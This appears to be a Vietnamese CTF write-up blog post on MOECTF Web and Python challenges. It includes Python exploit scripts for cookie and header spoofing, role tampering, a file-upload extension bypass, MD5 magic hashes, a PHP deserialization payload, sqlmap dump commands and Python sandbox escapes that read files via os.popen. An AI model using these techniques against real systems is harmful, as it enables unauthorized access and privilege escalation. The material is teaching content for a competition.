Phân tích chuyên sâu các kịch bản tấn công Web và Python trong môi trường CTF

Hướng dẫn kỹ thuật khai thác lỗ hổng an ninh mạng qua bộ đề thi thử MOEC

Bài viết này trình bày chi tiết các phương pháp giải quyết các bài toán bảo mật thuộc nhánh Web và Python trong kỳ thi MOECTF, bao gồm thao tác giao thức HTTP, xác thực người dùng, tải lên tệp tin, cũng như vượt qua các cơ chế bảo vệ của Sandbox.

Tương tác giao thức HTTP và Điều khiển phiên

1. Thao tác Header và Cookie

Nhiều thách thức đòi hỏi người tham gia phải hiểu rõ cấu trúc của một gói tin HTTP. Để vượt qua kiểm soát truy cập, chúng ta cần can thiệp vào các trường thông tin quan trọng.

Trong một tình huống cụ thể, yêu cầu hệ thống cần nhận diện trình duyệt đặc biệt, quyền hạn cấp quản trị viên và giả lập địa chỉ IP nguồn. Việc sử dụng thư viện requests giúp tự động hóa quá trình này một cách hiệu quả hơn là thao tác thủ công.

import requests

TARGET_URL = "http://localhost:58766/"
SESSION_HEADERS = {
    "User-Agent": "MoeBrowser",
    "Accept": "*/*",
    "Cookie": "character=admin",
    "X-Forwarded-For": "127.0.0.1" 
}

PAYLOAD_BODY = {"action": "Luv", "value": "u"}
QUERY_PARAMS = {"token": "UwU", "val": "u"}

def send_exploit_request():
    try:
        # Gửi yêu cầu POST với đầy đủ tiêu đề đã cấu hình
        response = requests.post(
            TARGET_URL, 
            params=QUERY_PARAMS, 
            data=PAYLOAD_BODY, 
            headers=SESSION_HEADERS
        )
        return response.text
    except Exception as e:
        print(f"Lỗi kết nối: {e}")

if __name__ == "__main__":
    print(send_exploit_request())

Với việc thêm trường X-Forwarded-For, chúng ta có thể đánh lừa phía máy chủ về địa chỉ gửi đến, hoàn tất điều kiện nhận cờ.

2. Bẻ khóa chuỗi Base64 trong Cookie

Hệ thống lưu trữ thông tin phiên làm việc dưới dạng mã hóa Base64. Chiến lược khai thác là đăng ký tài khoản mới, sau đó nâng cấp vai trò trước khi truy cập nội dung nhạy cảm.

Cần ghi nhớ rằng giá trị Cookie thường được mã hóa nhiều lần hoặc chứa định dạng tùy chỉnh. Sử dụng công cụ giải mã để sửa đổi trường quyền hạn là bước đi cốt lõi.

import requests
import base64
import json

BASE_URL = "http://localhost:61166"
proxy_config = {"http": "http://127.0.0.1:8080"}

def handle_account_auth():
    client = requests.Session()
    
    # Bước 1: Đăng ký tài khoản mới
    client.post(f"{BASE_URL}/register", json={"name": "user_test", "secret": "pass123"}, proxies=proxy_config)
    
    # Bước 2: Thực hiện đăng nhập để lấy Cookie
    resp = client.post(f"{BASE_URL}/login", json={"name": "user_test", "secret": "pass123"}, proxies=proxy_config)
    
    # Xử lý Cookie từ phản hồi
    raw_cookie = resp.cookies.get("session_info")
    decoded_content = base64.b64decode(raw_cookie + '==')
    
    # Thay đổi phân quyền ở lớp dữ liệu
    data_dict = json.loads(decoded_content)
    data_dict['role'] = 'administrator'
    
    new_payload = json.dumps(data_dict).encode()
    modified_cookie = base64.b64encode(new_payload)
    
    client.cookies.set("session_info", modified_cookie)
    
    # Bước 3: Truy cập đường dẫn flag
    final_resp = client.get(f"{BASE_URL}/flag", proxies=proxy_config)
    print(final_resp.text)

Kỹ thuật quét và Dò tìm

Sử dụng tính năng Intruder trong Burp Suite là phương pháp tối ưu để khám phá các tham số ẩn hoặc nội dung bị che giấu trong mã nguồn.

  • Tìm kiếm chuỗi: Thử nghiệm các mẫu chuỗi flag phổ biến.
  • Brute-force ID: Nếu hệ thống phân trang theo ID (ví dụ: id=1 đến 1000), cấu hình danh sách payload tương ứng để dò tìm nhanh chóng. Lọc kết quả dựa trên keyword đặc trưng giúp thu hẹp phạm vi.

3. Tối ưu thời gian thực thi

Một số bài toán đặt ra giới hạn thời gian rất khắt khe cho từng thao tác. Khi giới hạn là 0.5 giây mỗi lượt, phương pháp thủ công là bất khả thi. Script Python sử dụng Session giúp duy trì kết nối ổn định và xử lý phản hồi liên tục.

import requests
import re

GAME_ENDPOINT = 'http://localhost:59101/'
PLAYER_NAME = 'EddieMurphy'
HEADERS = {'Content-Type': 'application/x-www-form-urlencoded'}

def play_round(session, current_text):
    control_val = 0
    speed_val = 0
    
    # Phân tích phản hồi để quyết định hướng di chuyển tiếp theo
    if 'bend_left' in current_text:
        control_val = 1
    elif 'bend_right' in current_text:
        control_val = -1
    elif 'forward_straight' in current_text:
        control_val = 0
        
    if 'keep_speed' in current_text:
        speed_val = 1
    elif 'grip_high' in current_text:
        speed_val = 2
    elif 'grip_low' in current_text:
        speed_val = 0
            
    return control_val, speed_val

def automate_game():
    s = requests.Session()
    # Khởi động vòng chơi đầu tiên
    req = s.post(GAME_ENDPOINT, data=f'driver={PLAYER_NAME}&steering_control=0&throttle=2', headers=HEADERS)
    
    for i in range(6):
        text_body = req.text
        steer, throttle = play_round(s, text_body)
        
        req = s.post(
            GAME_ENDPOINT,
            data=f'driver={PLAYER_NAME}&steering_control={steer}&throttle={throttle}',
            headers=HEADERS
        )
        # Kiểm tra kết quả cuối cùng
        match = re.search(r'<font color="red">(.*?)</font>', req.text)
        if match:
            print(f"Kết quả: {match.group(1)}")

automate_game()

Tấn công tải lên tệp và Cấu hình Server

4. Vượt qua lọc phần mở rộng (Apache)

Hệ thống chặn các tập tin nguy hiểm như .php nhưng cho phép .png. Tuy nhiên, Apache có thể gặp lỗi trong việc xác định MIME type nếu tên file không tuân thủ chuẩn.

Thủ thuật phổ biến là tạo tên file chứa nhiều dấu chấm, ví dụ shell.php.png, để bộ lọc chỉ nhìn thấy đuôi cuối cùng là ảnh, nhưng server vẫn coi đó là tập tin thực thi nếu cấu hình sai lệch.

# Nội dung shell đơn giản được nhúng
SHELL_CODE = ''

# Đổi tên file thành image_shell.php.png để qua hàng rào kiểm duyệt
FILENAME = "exploit_image.php.png"

5. Path Traversal và va chạm Hash yếu

Nếu hệ thống không kiểm soát kỹ đường dẫn truy xuất, ta có thể đọc các file cấu hình. Ngoài ra, hàm băm MD5 trong Python có thể xảy ra lỗi logic khi so sánh kiểu dữ liệu yếu (weak typing) với các chuỗi đặc biệt bắt đầu bằng 0e.

Cặp giá trị nổi tiếng 240610708QNKCDZO đều sinh ra hash bắt đầu bằng 0e, khiến trình diễn giải xem chúng bằng nhau về mặt số học khoa học.

PAYLOAD_1 = "param1=240610708"
PAYLOAD_2 = "param2=QNKCDZO"
# Hai giá trị này qua MD5 sẽ được hệ thống so sánh như True

Các vấn đề nghiêm trọng khác

6. Phun lệnh XML (XXE)

Lỗ hổng External Entity Injection cho phép kẻ tấn công đọc nội dung tệp trên máy chủ thông qua khai thác bộ phân解析 XML. Đoạn mã XML độc hại sẽ được gửi kèm theo yêu cầu POST sau khi đã URL encode.

<?xml version="1.0"?>
<!DOCTYPE foo [  
  
  
]>
<foo>&xxe;</foo>

7. Chuỗi chuỗi trong PHP Deserialization

Bài toán yêu cầu thay đổi giá trị thuộc tính đối tượng từ trạng thái bình thường sang quản trị viên (Spear_Owner). Do có cơ chế đếm độ dài chuỗi, ta cần kích hoạt kỹ thuật String Escaping.

Sử dụng phương thức thay thế chuỗi bên trong lớp Deadly_Thirteen_Spears, ta tìm ra cặp từ khóa mà chiều dài sau khi thay thế lớn hơn ban đầu. Bằng cách lặp lại cụm từ này đủ số lần, ta bù đắp phần byte bị mất do chèn mã payload.

KEYWORD = "di_qi_qiang"
REPLACEMENT = "Penetrating_Gaze"
DIFF = len(REPLACEMENT) - len(KEYWORD) # +5 ký tự

# Cần chèn payload dài 35 ký tự, vậy cần 35 / 5 = 7 lần lặp
OFFSET = KEYWORD * 7
SPOOF_PAYLOAD = OFFSET + '";s:11:"Spear_Owner";s:6:"MaoLei";}';

8. Sự nhầm lẫn về kiểu dữ liệu Python

Trong hàm kiểm tra đăng nhập, điều kiện username == password ngăn chặn việc dùng chung tài khoản. Tuy nhiên, hàm băm áp dụng Salt và chuyển đổi toàn bộ thành chuỗi trước khi tính toán MD5. Nếu ta gửi "1"1 dưới dạng JSON, hệ thống sẽ coi chúng là khác nhau trong so sánh trực tiếp nhưng giống hệt nhau sau khi chuyển đổi kiểu cho việc hash.

USER_INPUT = '"1"'
PASS_INPUT = 1
# Trong ngữ cảnh hash: str(USER_INPUT) == str(PASS_INPUT) => True
# Trong ngữ cảnh kiểm tra: USER_INPUT != PASS_INPUT => True (Vượt qua ràng buộc)

SQL Injection và Quản trị Database

9. Chèn SQL qua thời gian (Time-based)

Các ứng dụng Web tương tác với database MySQL thường dễ bị tổn thương bởi câu lệnh Inject. Công cụ sqlmap hỗ trợ tự động hóa việc phát hiện và trích xuất dữ liệu từ các cột bí mật.

python sqlmap.py -r request.txt --dbs -p time
python sqlmap.py -r request.txt -D wordpress -T secret_of_kokomi --dump

Tấn công Flask và Mạng nội bộ

10. Làm giả Session Flask

Các ứng dụng Flask thường ký cookie session bằng một Key bí mật. Nếu Key quá ngắn hoặc yếu, ta có thể brute-force để tìm ra nó, sau đó ký lại cookie với quyền quản trị viên.

Sau khi chiếm quyền điều khiển, việc mở console debugger (pin code) cho phép thực thi mã từ xa (RCE). Từ đây, ta cần xác định IP nội bộ để tiếp tục quá trình thâm nhập sâu hơn vào hạ tầng.

import socket

def discover_internal_ip():
    host_name = socket.gethostname()
    internal_ip = socket.gethostbyname(host_name)
    return internal_ip

# Dùng kết quả scan để tìm dịch vụ nhạy cảm
IP_RANGE = ["192.168.1.0/24"] 
PORTS_TO_SCAN = [22, 3306, 6379, 8080]

Vượt rào Sandbox Python

Việc thoát khỏi môi trường giới hạn (Jail) đòi hỏi kiến thức sâu về hàm built-in của Python.

  • Level 0 & 1: Sử dụng breakpoint() để tạm dừng thực thi và can thiệp biến cục bộ.
  • Level 2: Khai thác hàm help() gây tràn bộ đệm hiển thị để đọc file hệ thống.
  • Level 3 & 4: Sử dụng biến unicode đặc biệt để đánh lừa bộ đếm ký tự.
  • Leak Level 0-2: Truy cập namespace thông qua globals(), vars() hoặc __main__ để tìm khóa bí mật (key) được lưu trữ trong bộ nhớ.
def leak_secret_key():
    # Phương pháp an toàn để truy xuất toàn bộ biến môi trường
    env_vars = vars(__builtins__)
    if '__import__' in env_vars:
        os_mod = env_vars['__import__']('os')
        return os_mod.popen('cat /key').read()
    return None

Thẻ: CTF WebSecurity http SQLInjection XXE

Đăng vào ngày 30 tháng 5 lúc 12:58